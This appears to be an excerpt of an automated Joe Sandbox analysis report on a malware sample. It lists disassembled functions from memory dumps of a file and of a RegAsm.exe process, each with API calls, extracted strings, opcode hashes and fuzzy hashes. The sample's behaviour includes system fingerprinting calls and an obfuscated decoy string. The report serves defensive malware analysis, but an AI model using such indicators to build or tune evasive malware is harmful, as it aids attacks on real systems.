API String ID: 593203224-1263358865
Opcode ID: 0a15a94ad27af4b53e08a8954812061427f476c29257b0b0a60069287f7b2c1b
Instruction ID: 387fc3919c50c293ce8e34cb045c327343730b82b239bebc93ca9326a0106832
Opcode Fuzzy Hash: 0a15a94ad27af4b53e08a8954812061427f476c29257b0b0a60069287f7b2c1b
Instruction Fuzzy Hash: FE018CB5600214EFCF02DB59C885E997BB9EF85710F0500A9E8019B360DB70EE02CB50

Uniqueness

Uniqueness Score: -1.00%

Function 003915D5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003915DC
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00391614

Part of subcall function 003937E7: _Yarn.LIBCPMT ref: 00393806
Part of subcall function 003937E7: _Yarn.LIBCPMT ref: 0039382A

Strings

bad locale name, xrefs: 00391622

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 1c73f23d190abe4f763aea97bc329d2b1d38bf614aca36fa8527921ba28ba368
Instruction ID: 039a6a20ad4aac145a92ce1c4fbd0e5302a9b860a9e0637618c056835cd6d00d
Opcode Fuzzy Hash: 1c73f23d190abe4f763aea97bc329d2b1d38bf614aca36fa8527921ba28ba368
Instruction Fuzzy Hash: C8F0BDB1515B809E87329F6A9881447FBE4BE29310794CE2EE1DEC3A11D734A504CB69

Uniqueness

Uniqueness Score: -1.00%

Function 003A2063 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?), ref: 003A20A3

Strings

InitializeCriticalSectionEx, xrefs: 003A2073
@9, xrefs: 003A2093

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$@9
API String ID: 2593887523-3192435951
Opcode ID: 78e611554b53a672383ee3f0f0c14572fe4c271e624345529102aaff7619124e
Instruction ID: cae773bebb567d018aeed5344b25d8a391044b3428eda9dc881d34490fa58d6c
Opcode Fuzzy Hash: 78e611554b53a672383ee3f0f0c14572fe4c271e624345529102aaff7619124e
Instruction Fuzzy Hash: 2CE09A36280218BBCB232F91DC06EDF3F59EB06B61F008120FE1C69161C7B28821EBD0

Uniqueness

Uniqueness Score: -1.00%

Function 003A1EE9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 003A1F1D

Strings

FlsAlloc, xrefs: 003A1EF9
@9, xrefs: 003A1F13

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc$@9
API String ID: 2773662609-1808835203
Opcode ID: ab1aef8e98a6758e14b60bef86a9f4fbc5342cc692905236a776333e2246ddd6
Instruction ID: 263ef637245bc7a7cfe8d8517ac307c148eec563791d50923a7952a5fd657248
Opcode Fuzzy Hash: ab1aef8e98a6758e14b60bef86a9f4fbc5342cc692905236a776333e2246ddd6
Instruction Fuzzy Hash: ABE0C2356802247BC61727A09C0ADDF7E48CF46B61F000220FF0955552DAA4080296D5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exePID: 344, Parent PID: 6792COMMON

Execution Graph

Execution Coverage:	14.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.3%
Total number of Nodes:	360
Total number of Limit Nodes:	18

Executed Functions

Function 004314B9 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL ref: 00431573
GetSystemMetrics.USER32 ref: 00431587
DeleteObject.GDI32 ref: 004315F2
SelectObject.GDI32 ref: 0043164C
SelectObject.GDI32 ref: 004316E3
DeleteObject.GDI32 ref: 00431720

Strings

, xrefs: 004316B0

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 1449868515-3916222277
Opcode ID: d235b5e1e6606a033aa167de53264e737c4ad2a9e6a62976c0690fab0fc18185
Instruction ID: b4478f5508a9a668379cc766fa253a7584cb2c6d39613c52bb71eba9550f2fe9
Opcode Fuzzy Hash: d235b5e1e6606a033aa167de53264e737c4ad2a9e6a62976c0690fab0fc18185
Instruction Fuzzy Hash: 0DA17CB8605B009FD364DF28D981A26BBF1FB49700F10896DE99AC7B60D731B944CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00428BD4 Relevance: 11.3, APIs: 2, Strings: 4, Instructions: 783
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jLB', xrefs: 00429427
M9Ke, xrefs: 00428CEC
*&"V, xrefs: 00428CD8
khvr, xrefs: 004291B7

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: *&"V$M9Ke$jLB'$khvr
API String ID: 0-3332911809
Opcode ID: f7f8771e523f0f6e5e63e6eae35877c56cd8ed6fc1b89165296dd805c05a9422
Instruction ID: eddd825bd4c5928b74d18f93d1c644f8c4f819d33c6fba62cea5641c850c2bd0
Opcode Fuzzy Hash: f7f8771e523f0f6e5e63e6eae35877c56cd8ed6fc1b89165296dd805c05a9422
Instruction Fuzzy Hash: 0F52CF70204B918AE726CF35C4A47E7BBE1AF56305F88499EC4EB8B382C73D6506CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0043CD20 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043FB4C,005C003F,00000006,00120089,?,00000018,GDEJ,00000000,004158FA), ref: 0043CD46

Strings

GDEJ, xrefs: 0043CD34

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: GDEJ
API String ID: 2994545307-1259571530
Opcode ID: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction ID: 9a2a3e30e6272c7ba4599b7d5b49d8b1df743313db24dc7d28a19b0c9381744b
Opcode Fuzzy Hash: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction Fuzzy Hash: 82D04875908216AB9A09CF44C54040EFBE6BFC4714F228C8EA88873214C3B0BD46EB82

Uniqueness

Uniqueness Score: -1.00%

Function 00416C6A Relevance: 1.7, APIs: 1, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c318d6d9d472412e9108212b157a6688421eb60df280b1b6258960601bcd399d
Instruction ID: 4fd97ffd825d4a9b4e5735d5ad9d8abdf477ee2187fc8f3e5c3992ae60506d14
Opcode Fuzzy Hash: c318d6d9d472412e9108212b157a6688421eb60df280b1b6258960601bcd399d
Instruction Fuzzy Hash: B67169B0504B408FD334CF29D490793BBE2AB55304F154A5ED0EA8BB92D739F88ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 0042BA01 Relevance: 1.7, APIs: 1, Instructions: 200COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 0042BA0F

Part of subcall function 0043ABD0: RtlAllocateHeap.NTDLL(?,00000000,00409B41), ref: 0043AC76

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeapString
String ID:
API String ID: 983180023-0
Opcode ID: b8585a5066b1539405b98aacb13542a1d3e117993f8c65de6407ebbb512e1d1f
Instruction ID: 3e6eb0807e612b7be6fbeb6b335641676b55dafb7d63a6a8185c4527cac947c3
Opcode Fuzzy Hash: b8585a5066b1539405b98aacb13542a1d3e117993f8c65de6407ebbb512e1d1f
Instruction Fuzzy Hash: DC8114B1A0D3818FC329DF28D49176ABBE2EF99304F45892EE4D987391D7349941CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0042D2DB Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f29b333ccea4f38b092efe965ff76f8fc0399cf8d6766ddaefdc2c2f0af2079
Instruction ID: c8343997be071147f8aad165d31428b0a00762df054b6848d72d6d9bec003d73
Opcode Fuzzy Hash: 4f29b333ccea4f38b092efe965ff76f8fc0399cf8d6766ddaefdc2c2f0af2079
Instruction Fuzzy Hash: CFF0F2B41193418FD320DF28C24479ABBE2ABC8304F40891DE4CDCB651DBB99564CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00424030 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000002B,00000000,00000000,43D4412B), ref: 00424162
RtlExpandEnvironmentStrings.NTDLL(00000000,0000002B,0000002B,00000000,?,?), ref: 004241A9

Strings

%E'G, xrefs: 00424096
)I4K, xrefs: 0042409D
F-K/, xrefs: 0042406C
}] _, xrefs: 00424088
`)C+, xrefs: 00424065
A%K', xrefs: 0042405E

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: %E'G$)I4K$A%K'$F-K/$`)C+$}] _
API String ID: 237503144-1933575030
Opcode ID: 0bd2de8d8f6f7362bb402842eaac02aed768d5fb44921a89a9e505b3c6b79913
Instruction ID: 9b1fa48d500f539c79ed80ffaa1cbd92d39816a088343f22b3479e81dffdb094
Opcode Fuzzy Hash: 0bd2de8d8f6f7362bb402842eaac02aed768d5fb44921a89a9e505b3c6b79913
Instruction Fuzzy Hash: 7E4165B02007409BEB288F05E8D5B167BB5EF49314F218A98ED5A4F79AC735E842CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0042D4B8 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 87
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0042D617

Strings

0, xrefs: 0042D4F8
%, xrefs: 0042D518
8, xrefs: 0042D548
:, xrefs: 0042D508
!, xrefs: 0042D528
#, xrefs: 0042D538

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: !$#$%$0$8$:
API String ID: 2525500382-1043778899
Opcode ID: 91cbed51965e3a07c5963ccb73376de2be754df5015858fd33707540f1fe190c
Instruction ID: 84c5229db9bea6dd977b692293f7078d5488dc8f1d5bbdf315073381ab57a39f
Opcode Fuzzy Hash: 91cbed51965e3a07c5963ccb73376de2be754df5015858fd33707540f1fe190c
Instruction Fuzzy Hash: 5451ED7014C7C28ED331CB28C45878FBBE1AB96318F148E5DE4E95B292C3B5954A8B93

Uniqueness

Uniqueness Score: -1.00%

Function 00428BD7 Relevance: 11.1, APIs: 2, Strings: 4, Instructions: 645
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jLB', xrefs: 00429427
M9Ke, xrefs: 00428CEC
*&"V, xrefs: 00428CD8
khvr, xrefs: 004291B7

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: *&"V$M9Ke$jLB'$khvr
API String ID: 0-3332911809
Opcode ID: ff37d084386b5cb85894adf7d196a0049d6532966ac6cd4eed605482a43d0131
Instruction ID: 5569824f812dae35ba089d8a8372ccc8186dfc45a4aadc5839819312948f111a
Opcode Fuzzy Hash: ff37d084386b5cb85894adf7d196a0049d6532966ac6cd4eed605482a43d0131
Instruction Fuzzy Hash: B232BD70204F918AE736CF35C8947E7BBE1AF16305F88495EC4EB9B282C739650ACB55

Uniqueness

Uniqueness Score: -1.00%

Function 00438E87 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00438ECA

Strings

:, xrefs: 00438E8E
\, xrefs: 00438E95
C, xrefs: 00438E87

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InformationVolume
String ID: :$C$\
API String ID: 2039140958-3809124531
Opcode ID: 5e6e2b8dbfc8088b12d8bd0933652e522c8b9a97d605c0fcb8845d6a31c05eae
Instruction ID: e9a6b901981fb3d5f41114c106d9ac019ce18c4b59020a37c5982f98a688cc32
Opcode Fuzzy Hash: 5e6e2b8dbfc8088b12d8bd0933652e522c8b9a97d605c0fcb8845d6a31c05eae
Instruction Fuzzy Hash: 1BF03075295301BAF314CF10DC56F1A32A4AB45748F14982EB255E51D0E7B4A609CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 00427124 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 354
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042830C

Strings

jLB+, xrefs: 004281FE
9'> , xrefs: 0042856F

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: 9'> $jLB+
API String ID: 3960555810-527559825
Opcode ID: d1efa837beb082a2164dfffab50e47a22ed848a3f14f73b4f625c3045c2fb644
Instruction ID: c7b6b37662f1b0ffb22b6927b68f54838e9a5b62149a365dc6ce359ccb4895ad
Opcode Fuzzy Hash: d1efa837beb082a2164dfffab50e47a22ed848a3f14f73b4f625c3045c2fb644
Instruction Fuzzy Hash: 5AC1BB70605B918BE726CF38C0947A7BBE1BF16304F84495EC4EB9B782CB39A406CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0041E870 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0041E99B
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0041E9CA

Strings

01, xrefs: 0041E8F7

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 01
API String ID: 237503144-3477152822
Opcode ID: 2958f07d69e1f6103d44746696d1a25b835bb61872948f7f03560b1729bd8e12
Instruction ID: cf5f671624b221a9619156f2381803fb5b7bbfebc4db9b05a72ed63777173c11
Opcode Fuzzy Hash: 2958f07d69e1f6103d44746696d1a25b835bb61872948f7f03560b1729bd8e12
Instruction Fuzzy Hash: 665184B1108342AFD304CF05D881B5FBBE5EB86358F108E2DF8A58B381D738D9458B96

Uniqueness

Uniqueness Score: -1.00%

Function 0043C649 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

NA, xrefs: 0043C5C8
NA, xrefs: 0043C67E

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: NA$NA
API String ID: 0-1378669532
Opcode ID: ad4d14930e8d5c578355d5286078303c6ddaf96549860af56430fb56608dda8f
Instruction ID: d538ee94c9ae3c939d38dbc90211b63bdf1832cee81c520897f63c698c675082
Opcode Fuzzy Hash: ad4d14930e8d5c578355d5286078303c6ddaf96549860af56430fb56608dda8f
Instruction Fuzzy Hash: 2331F2B0109341AFD305CF15D9A161FBBE1EFC9318F209E1DE4A86B296D778D5058B8E

Uniqueness

Uniqueness Score: -1.00%

Function 00408FE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00409042

Strings

in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified, xrefs: 0040900C

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified
API String ID: 621844428-4175449110
Opcode ID: 55b4db218ca357dcd229f06ab1b52eabc9221a556c8350e842837344e54a4357
Instruction ID: 0fa5989983e46f33860e26f232eb29433c7b9ecb20cff33066c0ef6aa2755ac7
Opcode Fuzzy Hash: 55b4db218ca357dcd229f06ab1b52eabc9221a556c8350e842837344e54a4357
Instruction Fuzzy Hash: 4CF0FE34408210DAC644BF65914126A77A86F15749F20843FE8D6B12C3EB7C8946E61F

Uniqueness

Uniqueness Score: -1.00%

Function 0043ACBB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 0043AD60

Strings

`123, xrefs: 0043AD18

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID: `123
API String ID: 3298025750-1835766495
Opcode ID: bd2bbb8cb9e048457e9a321327092d457029ac21ce692af2e9a88bdd163564a8
Instruction ID: cbccc03890c181382a03559b557442e64de8f0b2c0cb011c4962c29696081020
Opcode Fuzzy Hash: bd2bbb8cb9e048457e9a321327092d457029ac21ce692af2e9a88bdd163564a8
Instruction Fuzzy Hash: 651135B06083419FE708CF04D46476BBBE2EBC8319F24C92DE4A907681C7799909CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0043C593 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 0043C628

Strings

NA, xrefs: 0043C5C8

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: NA
API String ID: 1029625771-788005234
Opcode ID: a4e92c18790cd02eb8a4ec4c2c4e765c82108b33ba05cb61761479f6449948ca
Instruction ID: a91c36fbf9b3c0fd76b782e38271c857c908f56d45472aba9aa4edd33fe7f0db
Opcode Fuzzy Hash: a4e92c18790cd02eb8a4ec4c2c4e765c82108b33ba05cb61761479f6449948ca
Instruction Fuzzy Hash: E31122B01093419FD308CF15D8A1A1FBBE1EFC9328F209A1DE4A46B296D778D5058B8E

Uniqueness

Uniqueness Score: -1.00%

Function 0041DFB0 Relevance: 3.2, APIs: 2, Instructions: 247COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000E,00000000,00000000,?), ref: 0041E112
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000E,00000000,?,?), ref: 0041E146

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: ff0fafd5643702ac63dbf57546d9dcc7ba07c9d884ee3e1bd6f05b7649e6f71a
Instruction ID: d7d5d9e5adb07c0058be0506cf8c377d3ca5b3f268faab4889588fa421ccb091
Opcode Fuzzy Hash: ff0fafd5643702ac63dbf57546d9dcc7ba07c9d884ee3e1bd6f05b7649e6f71a
Instruction Fuzzy Hash: 739155B1500B009FD324CF39C855B63BBF5BB85318F144A1DE9AB8BB91E775B4068B85

Uniqueness

Uniqueness Score: -1.00%

Function 00415CB8 Relevance: 3.2, APIs: 2, Instructions: 178COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00415CFE
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00415D2D

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 134912e2ecb48e15b1667ae8bb1c4be3cc862e7a2e342d0dbab6ef0ff1fc9e89
Instruction ID: a98c083020adb26ad30c62b4aca556e802ed4fe075f64af89c10054d9f63eddd
Opcode Fuzzy Hash: 134912e2ecb48e15b1667ae8bb1c4be3cc862e7a2e342d0dbab6ef0ff1fc9e89
Instruction Fuzzy Hash: CB51CC71200B418FD3258F24C895BA3B7F1FF85304F448A2EE99B8BA91E778B506CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0043C89A Relevance: 1.6, APIs: 1, Instructions: 66libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 0043C981

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 98c1707348e5c16782418e0385790fa47982d7a59c33ae16cb61c79361d5b1ec
Instruction ID: 56c7126af2544d42e5c2aa7e2998c6b90a6e72b42c7a1e62b0db1384a9244e3b
Opcode Fuzzy Hash: 98c1707348e5c16782418e0385790fa47982d7a59c33ae16cb61c79361d5b1ec
Instruction Fuzzy Hash: AE21ABB4109301AFD304DF21E8A171EBBE2EB85309F15892EE49467342E739C502CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0043C737 Relevance: 1.6, APIs: 1, Instructions: 58libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 0043C7E6

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f0734ab988170adc516680fba643b8559f49ea8ea258ccfa2f78b00694117fce
Instruction ID: f4d7a91ed7fd689f2c30ecaebf8e5fe92138dacc900146b5dcec9d321eac18eb
Opcode Fuzzy Hash: f0734ab988170adc516680fba643b8559f49ea8ea258ccfa2f78b00694117fce
Instruction Fuzzy Hash: EE2136752083418FD308DF24D89065FBBE1EB9A318F18892EE895AB341D339D506CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0043ABD0 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,00409B41), ref: 0043AC76

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a8e24c16fc3219b2431c76d3e8752f621cf12147df6436e03b166d23ac0ad9f0
Instruction ID: b9ae8f980ae880ed7fe5f70c96481efe7219fbc007fa3f6c6d3de8f654b96eca
Opcode Fuzzy Hash: a8e24c16fc3219b2431c76d3e8752f621cf12147df6436e03b166d23ac0ad9f0
Instruction Fuzzy Hash: 111148701083419FE718CF00C96476FBBA1FB84728F148A1DE8E91B681C379DA15CBC6

Uniqueness

Uniqueness Score: -1.00%

Function 0043CBDC Relevance: 1.5, APIs: 1, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 0043CC55

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b20540e4b00176574459a0719bc819b972f1b0f7cc5020d48ea2ac1792dbee08
Instruction ID: 19decfb82c6703f7f5decf00c660eb7ab1eb88fe641eeb22ac3e4a9671c6acd1
Opcode Fuzzy Hash: b20540e4b00176574459a0719bc819b972f1b0f7cc5020d48ea2ac1792dbee08
Instruction Fuzzy Hash: E7010074108341AFE700CF14D58474FFBA2EB85328F209A5DE8A827295C375E90A8B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00419072 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 0041909A

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
